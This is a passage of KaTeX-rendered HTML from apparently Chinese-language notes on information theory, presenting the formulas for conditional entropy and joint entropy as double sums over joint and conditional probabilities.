class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span><span style="top:-2.3181em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span><span style="top:1.0471em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">/</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.4123em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>显然的，因为 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 且 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></p><p>对于<strong>联合熵</strong>，也是一样的做法。而且类似于联合信息量，和单独的信源熵和条件信源熵有关</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:13.0955em;vertical-align:-6.2978em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.7978em;"><span style="top:-8.7978em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-5.4326em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:-2.0674em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:0.4864em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span><span style="top:1.9864em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:6.2978em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:6.7978em;"><span style="top:-8.7978em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mord mathnormal" style="margin-right:0.22222em;">Y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span><span style="top:-5.4326em;"><span class="pstrut" style="height:3.6514em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.4138em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span 